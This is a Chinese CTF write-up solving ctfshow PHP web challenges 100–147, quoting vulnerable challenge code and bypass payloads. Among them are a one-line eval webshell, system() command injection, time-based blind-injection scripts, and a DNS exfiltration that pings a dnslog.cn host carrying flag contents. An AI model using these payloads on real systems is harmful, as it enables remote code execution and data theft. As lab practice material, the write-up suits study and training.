Web100&101
考点:
- PHP中逻辑与的两种形式:AND 和 &&,同样逻辑或也有对应的两种表达:OR 和 || 。但两种表达的优先级存在不同,AND和OR优先级低于=。以下段代码为例:
1 2 3 4 5 6 7 8 9 10 11 12
| $bA = true; $bB = false; $b1 = $bA and $bB; $b2 = $bA && $bB; var_dump($b1); var_dump($b2); $bA = false; $bB = true; $b3 = $bA or $bB; $b4 = $bA || $bB; var_dump($b3); var_dump($b4);
|
因此本题目只需要确保v1是数字型即可使v0为true。
WEB102&103
考点:
call_user_func()
1
| call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
|
参数:
callback:将被调用的回调函数
parameter:0或以上个传入回调函数的参数
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php error_reporting(E_ALL); function increment(&$var) { $var++; }
$a = 0; call_user_func('increment', $a); echo $a."\n";
call_user_func_array('increment', array(&$a)); echo $a."\n"; ?>
|
以上例程输出:
参考:https://www.php.net/manual/zh/function.call-user-func.php
基本思路:
substr()方法截断字符得到16进制编码的一句话木马,调用函数hex2bin将它写入文件后访问。
首先是一句话木马编码16进制
1 2
| <?php eval($_POST[1]);?> 0x3c3f706870 206576616c28245f504f53545b315d293b3f3e
|
由于本题目php版本限制,直接传入的16进制数字不会被识别为数字类型,因此需要利用php伪协议将内容进行base64编码再转换为16进制
最终payload:
1 2 3 4 5
| GET v2=115044383959474e6864434171594473&v3=php: decode/resource=2.php POST v1=hex2bin
|
访问2.php查看源码即可
WEB104
WEB105
考点:
PHP变量替换,这里可以让三个变量中任意一个值为flag即可输出。
payload:
1 2 3 4 5 6 7 8
| GET a=flag POST error=a //或者 GET suces=flag flag= //此时$suces=flag{xxx};$_POST['flag']=NULL;$flag=NULL
|
WEB106
考点及payload:
考察hash碰撞。
1 2 3 4 5
| //数组绕过 GET v2[]=2e1 POST v1[]=2e2
|
碰撞实例 摘自羽师傅博客https://blog.csdn.net/miuzzx/article/details/109168454?spm=1001.2014.3001.5501
1 2 3 4
| aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
|
WEB107
考点:
payload:
1 2 3 4
| GET v3=1 POST v1=flag=c4ca4238a0b923820dcc509a6f75849b //即v3的md5值
|
WEB108
考点:
payload:
877为0x36d的十进制,而正则匹配只会匹配00%之前的内容,之后内容被截断。
WEB109
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());");
}
}
?>
|
payload:
1 2 3
| payload: ?v1=CachingIterator&v2=system(ls) ?v1=Exception&v2=system('cat fl36dg.txt')
|
web110
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); }
eval("echo new $v1($v2());");
}
?>
|
hint:考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd
文件就在当前目录下。
web111
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); }
if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); }
}
?>
|
payload: ?v1=ctfshow&v2=GLOBALS
WEB 112
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
提示中的几种php伪协议:
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
非预期:
二次urlencode绕过对base64、rot13的过滤:
php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=flag.php
web 113
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
hint:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
另解:
compress.zlib://flag.php
web 114
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
payload:
php://filter/resource=flag.php
web115
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
|
trim()会消除变量中的换行符(包括\n在内,还有空格及\r\t\v\0),但是不过滤\f(%0c)
payload:
?num=%0c36
web 123
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
f10g不可用,只能通过fun用变量c执行命令。
c的变量中.会被过滤,使用[替换。php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_
,在php替换]后,后半部分字符串会被保留。
payload:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
web125
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
过滤flag、echo关键词。
将文件名传给变量,再用highlight_file输出。
payload:
get:?name=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[name])
非预期
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
‘argv’
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
意思就是通过$_SERVER[‘argv’]将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。
执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。
payload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web126
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
|
非预期:类似上题hint的参数逃逸,输出所有全局变量
GET:?0=var_export($GLOBALS);
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])
预期:
同126
payload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web127
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING'];
function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } }
if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); }
if($ctf_show==='ilove36d'){ echo $flag; }
|
?ctf%20show=ilove36d
web128
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
error_reporting(0); include("flag.php"); highlight_file(__FILE__);
$f1 = $_GET['f1']; $f2 = $_GET['f2'];
if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; }
function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str);
|
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
gettext():获取的文本框当前输入内容的方法,返回内容。_()是gettext()函数的简写形式,需要php扩展目录下有php_gettext.dll才能使用。
payload:
?f1=_&f2=get_defined_vars
web129
1 2 3 4 5 6 7
| highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
|
?f=/ctfshow/../../../../var/www/html/flag.php
?f=php://filter/ctfshow/resource=flag.php
web130
1 2 3 4 5 6 7 8 9 10 11 12
| include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); }
echo $flag;}
|
f=ctfshow
web131
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
正则默认的backtarck_limit是100000(10万). backtarck_limit在匹配字符串时的回溯次数。
所以要将post的内容突破这个值。
1 2 3 4 5
| data={ 'f':'very'*250000+'36Dctfshow' }
r=requests.post(url=url,data=data).text
|
web132
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){ echo $flag; }
} }
|
?username=admin&password=1&code=admin
web133
1 2 3 4 5 6 7 8
| if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
|
由于代码中使用了 eval
执行传入的参数的前 6 个字符。

?F=$F
;+ping cat flag.php|grep ctfshow
.ra2l3p.dnslog.cn -c 1
web134
1 2 3 4 5 6 7 8 9 10 11
| highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
|
php变量覆盖 利用点是 extract($_POST
); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表
payload: ?_POST[key1]=36d&_POST[key2]=36d
web135
1 2 3 4 5 6 7 8
| if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
|
还没做
web136
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
|
tee
命令在Linux中用于从标准输入读取数据,并将其写入到标准输出和一个或多个文件中。tee
命令通常与其他命令一起通过管道使用。
cat /f149_15_h3r3|tee 2 将内容写入文件2中
web137
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
call_user_func($_POST['ctfshow']);
|
POST: ctfshow=ctfshow::getFlag
web138
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); }
call_user_func($_POST['ctfshow']);
|
这行代码检查 ctfshow
参数中是否包含冒号 (:
)。如果包含,输出 “private function” 并终止脚本。这是为了防止用户直接调用类的方法(如 ctfshow::getFlag
)。
利用数组参数特性,成功绕过了对 :
的检查
POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
1 2 3 4 5 6 7 8 9 10 11 12 13
| function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); }
|
利用web136的方法不行,没有写入权限了
?c=ls;sleep 3 等了一会,无回显。
盲注脚本:
- 设置超时时间为 2.5 秒。
- 如果请求超时(表示
sleep 3
被执行,猜测的字符 n
是正确的),则捕获异常并记录结果字符 n
,打印当前猜测结果,并退出最内层循环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests import time import string str=string.ascii_letters+string.digits+'_~' result="" for i in range(1,10): key=0 for j in range(1,15): if key==1: break for n in str: payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n) url="http:xxx/.challenge.ctf.show/?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break if n=='~': key=1 result+=" "
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests import time import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) url="http://xxxx.challenge.ctf.show/?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break
|
web140
1 2 3 4 5 6 7 8 9 10 11 12 13
| highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
|
$code = eval("return $f1($f2());");
:执行 f1(f2())
并返回结果赋值给 $code
if(intval($code) == 'ctfshow')
:检查 $code
是否等于字符串 'ctfshow'
。
根据代码可知,f1和f2必须是字母和数字。if判断是弱等于,需要intval($code)
的值为0。
intval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。
字符串有可能返回 0,取决于字符串最左侧的字符。
intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
所以需要$f1($f2());
的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。
- payload1:
system(system())—> f1=system&f2=system
string system( string $command[, int &$return_var] ):成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())—->getdate(array型)—>失败返回flase,intval为0。
web141
1 2 3 4 5 6 7 8 9 10 11 12
| if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
php里数字可以和命令可以进行运算。也就是说v3里要执行的函数前后加上运算符即可。
1-phpinfo()-1的结果为0,phpinfo()执行成功返回true,1-1-1=-1
参考:https://blog.csdn.net/miuzzx/article/details/109143413
web142
1 2 3 4 5 6 7 8 9
| highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
|
水题
web143
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
v1=1&v3=(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0b%01%03%00%06%00”^”%7f%60%60%20%60%2a”)&v2=1
web144
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
function check($str){ return strlen($str)===1?true:false; }
|
?v1=1&v2=(“%13%19%13%14%05%0d”|”%60%60%60%60%60%60”)(“%14%01%03%20%06%0c%02”|”%60%60%60%20%60%60%28”)&v3=-
web145
web146
web147
1 2 3 4 5 6 7
| if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); }
}
|
1 2 3 4 5 6 7
| create_function('$a','echo $a."123"')
function f($a) { echo $a."123"; }
|
终极目标,构造类似以下的注入:
1 2 3 4 5 6 7
| 传入: show=echo 1;}phpinfo();
就类似于: function f($a) { echo 1;}phpinfo(); }
|
而在PHP的命名空间默认为\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
所以%5c可以绕过正则。
1 2
| GET ?show=;};system('grep flag flag.php');/* POST ctf=%5ccreate_function
|